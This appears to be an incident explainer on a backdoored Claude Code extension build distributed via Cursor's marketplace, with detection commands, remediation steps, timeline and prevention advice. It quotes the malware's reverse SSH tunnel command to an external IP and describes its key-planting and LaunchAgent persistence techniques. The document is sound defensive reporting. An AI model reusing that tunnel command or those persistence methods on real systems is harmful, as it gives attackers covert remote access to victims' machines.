Is My Cursor Affected by the Claude Code Extension Malware? The Ten-Second Check, What the 2.1.313 Backdoor Actually Did, Who Was Exposed and Who Wasn't, How to Clean It, and What Cursor Still Hasn't Explained

How to check if your machine is affected

The malicious build appends an SSH public key with the comment 'svc-telemetry' to your authorized_keys file. That is the one indicator that survives an extension update, so it is the one to check. These are Cursor's own commands, unchanged.

grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found; machine not impacted"

$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "svc-telemetry key found" } else { "No key found; machine not impacted" }

If you want a second signal, check which build you actually have. The tampered package kept the real version number, so the version alone is not proof either way, but if you never had 2.1.313 you were never in the window:

cursor --list-extensions --show-versions | grep -i claude-code

And the two artifacts the loader drops, which an update will not remove. On macOS, a LaunchAgent at ~/Library/LaunchAgents/com.apple.sysmond.plist (the label mimics an Apple process; Apple doesn't install LaunchAgents in your home folder) plus hidden files ~/.config/.smt and ~/.config/.smtk. On Windows, a scheduled task named SysMon, %USERPROFILE%\.config\smt.cmd, and a Startup-folder sysmon.cmd. Cursor's full indicator list, including the SHA-256 hashes of the two tampered packages and the SSH key fingerprints, is in the notice. The key fingerprint is SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk.

If the key is found: what to do, in order

• Run Cursor's remediation script, not just an uninstall. Cursor is explicit: 'Uninstalling the extension may not be sufficient — the payload drops standalone persistence scripts that keep running.' Download remediate-macos.sh and run it as your normal user (it refuses to run as root), or remediate-windows.ps1 from an elevated PowerShell. We read both scripts. The macOS one unloads the fake sysmond LaunchAgent, kills any ssh or autossh tunnel process, deletes any Claude Code extension folder whose code contains the marker (it searches every VS Code-based editor's extensions directory, not only Cursor's), removes the dropped files, strips the attacker's key from authorized_keys without touching your real keys, and exits non-zero if anything remains. The Windows script does the same with the SysMon task and Startup entry.
• Rotate what the machine could reach, from a different machine. The beacon sent only the names of environment variables matching KEY, TOKEN, SECRET, PASS, AWS, or GCP, up to forty of them. Cursor's own warning: 'The limited env-var collection does not rule out later credential access over the backdoor.' Treat GitHub and GitLab tokens, cloud keys, package-registry tokens, CI secrets, and the SSH keys in your ~/.ssh folder as exposed.
• Decide whether to rebuild. If Remote Login was already on (macOS) or an SSH server was already running (Linux, some Windows developer setups), the tunnel could have connected, and anyone with the attacker's private key could have logged in as you. In that case the independent analysts and Cursor's 'assess whether the host should be rebuilt' line agree: rebuild.
• Linux has no script. Cursor published macOS and Windows remediation only. The loader has Linux paths, so on Linux check authorized_keys, your crontab for an @reboot entry, and /tmp for .stk_ files, and remove them by hand.
• Then update to Claude Code for VS Code 2.1.314, which is what Cursor's X post asks of everyone. Note the order: clean first, then update. Florian Roth's summary is the right one: 'Updating the extension alone doesn't prove the machine is clean.'

What the malicious extension actually did

Cursor's notice and three independent teardowns (OpenSourceMalware, Phorion, and Threat Landscape) agree on the mechanics. The only file changed was extension.js, which gained a 66-line loader in front of Anthropic's real code. It ran the moment the extension loaded, with no Claude session needed, and swallowed its own errors so the editor kept working normally. In Cursor's words it:

• 'Collects host and user information: hostname, username, OS, architecture, home directory path, environment variable names, working directories, configured Git email, and public IP.'
• 'Attempts to add an attacker-controlled SSH key to authorized_keys, enable the local SSH service, and open a reverse SSH tunnel.' The tunnel command is ssh -N -R '*:0:localhost:22' to tunnel@134.209.82.225, a DigitalOcean address in Amsterdam, with host-key checking disabled.
• 'Attempts to make the reverse SSH tunnel persistent via a LaunchAgent (macOS) or a scheduled task that attempts to run as SYSTEM with a Startup-script fallback (Windows). Background scripts retry the tunnel roughly every 60 seconds.'
• 'Reports host details and backdoor status via HTTP POST to /beacon on port 8099.'

The attacker made a mistake that limited the damage. Enabling Remote Login on macOS needs administrator rights, and Cursor says that 'outside of highly unusual circumstances where Cursor was started with administrator privileges, due to errors in the malicious code, this step would fail.' Phorion's analysis found the bug: the loader checks the Remote Login state with a command that errors out when run unprivileged, so the enable step never fires. But that is, in Phorion's phrase, 'no defence' on a machine where SSH was already on, and Cursor says the rest ran regardless: 'The extension still adds the attacker's SSH key, installs persistence, and sends host details to the attacker.'

What it did not do, as far as anyone has found: it did not send the values of your environment variables, your SSH private keys, your Claude or Anthropic credentials, wallet files, or browser data, and no second-stage download was found. OpenSourceMalware: 'Environment-variable values are not placed directly in the initial beacon.' That is the inventory an attacker uses to decide which machines to come back to, which is why the key and the tunnel matter more than the beacon.

Who was exposed, and who wasn't

The 5,000 figure is a ceiling, not a count. Cursor's notice: 'At most 5,000 users were affected, and we will reach out directly.' No one has published how many machines actually ran the loader, and Cursor hasn't said how it derived the number. Several outlets have already converted it to '5,000 affected'; that is not what Cursor said. For scale, the official extension shows 29 million installs on the Visual Studio Marketplace and 63 million cumulative downloads on Open VSX, and Cursor claims more than a million daily users, so the exposed group is a small slice of a very large one.

How it got into Cursor's marketplace: unexplained

This is the gap in Cursor's account, and every analyst notes it. Cursor's marketplace is not a plain mirror of Open VSX. Its extensions documentation says Cursor 'routes extension search and downloads through its own marketplace proxy (marketplace.cursorapi.com), not a direct passthrough to Open VSX,' and that 'before an extension is shown in search or served as a download, Cursor runs automated malware and supply-chain analysis using commercial security tooling. Extensions that fail review are blocked.' A build that appends an SSH key, writes a LaunchAgent mimicking Apple, and opens a reverse shell to a hard-coded IP passed that review for eleven hours.

What Cursor did say, in full: 'Removed the malicious version from the marketplace immediately upon detection and blocked further distribution. We followed with a full shut down of the VSCode Marketplace out of an abundance of caution. We audited access and confirmed no other extensions were tampered with. We rotated our keys, rebuilt the marketplace, and brought it back online.' Rotating keys and rebuilding the marketplace is what you do after infrastructure, not just a listing, is suspected of compromise, but Cursor has not said which keys, whether a publisher credential, a proxy, or an internal system was involved, or how it detected the package. There is no entry on its changelog, no incident on its status page, and no thread on its forum. The Hacker News: 'The exact method attackers used to introduce the unauthorized update remains unclear.'

One thing is settled: this was not Open VSX. Early reports from Help Net Security, StepSecurity, and OpenSourceMalware's first draft said the trojanized build had been published to Open VSX and mirrored by Cursor. Socket checked the registry's change feed and found no trace of 2.1.313; the Open VSX API lists 2.1.312 then 2.1.314; Cursor contacted OpenSourceMalware to say its own marketplace was the origin, and The Hacker News ran a correction. If you read 'Open VSX compromised' somewhere today, it is superseded.

Timeline

Two timing notes. Cursor's X post came about eleven hours after the takedown and after Anthropic's 2.1.314 had already shipped, so the first most users heard of it was from security researchers on X, not from Cursor. And 2.1.314's release notes are routine, with no mention of the incident or of the skipped number; Anthropic's cadence had been a release a day, so the skip is suggestive but Anthropic hasn't said 2.1.314 was a response.

Where Anthropic stands

Nowhere public, as of Thursday afternoon. We checked anthropic.com/news, the Claude status page (no incidents on October 29 or 30), the Claude Code repository's issues and security advisories, the changelog, and Anthropic's and Boris Cherny's X accounts. The line that the extension 'was not developed by Anthropic' is Cursor's, and the statement that the official distributions are unaffected is also Cursor's ('We have no evidence that other versions of the extension or the official distribution are affected'). The registry records back that up, and so does Socket. But a trojanized build was served under Anthropic's publisher name to Anthropic's users for eleven hours, and the Claude Code docs still offer a one-click 'install in Cursor' link. A statement from Anthropic on whether its publishing credentials were involved is the single most useful thing missing from this story.

How to keep this from reaching you next time

• Turn off automatic extension updates, or add a delay. Cursor inherits VS Code's default of installing extension updates automatically, which is how an eleven-hour window reached anyone. In Cursor settings, set extensions.autoUpdate to false and extensions.autoCheckUpdates to false, or right-click an extension and toggle Auto Update per extension. Cursor also has extensions.installCooldownHours, default 0; setting it to 24 or 48 means a version has to survive a day on the marketplace before your editor will take it, which would have skipped this one entirely.
• Teams: enforce the cooldown and an allowlist. Cursor's docs put Marketplace Install Cooldown under Team settings → Security & automation; when set, it 'overrides per-user settings so developers cannot opt back into instant updates.' Enterprise plans can also require valid Open VSX signatures before install and restrict installs to approved publishers. Cursor's own line: 'No single control replaces the others.'
• Don't rely on the publisher badge. This build shipped under the legitimate Anthropic.claude-code ID, so a verified-publisher badge, Cursor's or anyone's, would not have flagged it. Badges confirm identity, not the integrity of a specific version.
• Know the pattern. This is the third time in fifteen months a coding extension's official channel shipped malicious code: Amazon Q Developer 1.84.0 in July 2025 carried a wiper prompt that 'failed to run because of a syntax error' (AWS bulletin); the GlassWorm campaign put self-spreading malware into Open VSX extensions from October 2025 and by March 2026 was impersonating Claude Code, Codex, and Antigravity; and now this. Attackers have noticed that developers leave AI coding extensions running with broad access. Treat extension updates like dependency updates.

What it changes in our rankings

Cursor stays at #1 in AI code editors at 4.8 today, with a new con and a new FAQ, and with a condition. The response was fast and unusually complete: a notice with hashes, fingerprints, file paths, and working remediation scripts inside a day is better than most incidents get. But Cursor's marketplace advertises automated malware analysis as its answer to exactly this threat, and it served a reverse-shell loader under Anthropic's name for eleven hours. If Cursor publishes a root-cause account within the week, that's a con. If it doesn't, the marketplace becomes a liability we have to score, and the rating moves. Claude Code is unchanged at #2; its own distribution channels were not involved, and the terminal version, which is how we recommend running it, was never in scope.

What we corrected, and what's still unconfirmed

• 'Cursor has not published a full technical breakdown.' Wrong. The notice is a technical breakdown: behavior, two package hashes, network indicators, SSH fingerprints, file paths, commands, and scripts. What Cursor hasn't published is how the build got in.
• 'Update to 2.1.314.' That instruction is in Cursor's X post only; the notice itself names no safe version. Both are right that 2.1.314 is current, and neither says updating cleans a machine.
• 'Up to 5,000 users.' Correct as a ceiling; it is not a confirmed count, and nobody has one.
• 'Attempts to give hackers remote access.' Fair. The key and the tunnel are exactly that. 'Gave' would overstate it, because the SSH-enable step failed on most machines.
• Unconfirmed as of October 30: how the package entered Cursor's marketplace; which keys Cursor rotated; how many machines ran the loader; who the attacker is (no researcher has attributed it, and no one links it to GlassWorm or other campaigns); whether Anthropic's publishing credentials were involved; whether 2.1.314 was released because of the incident.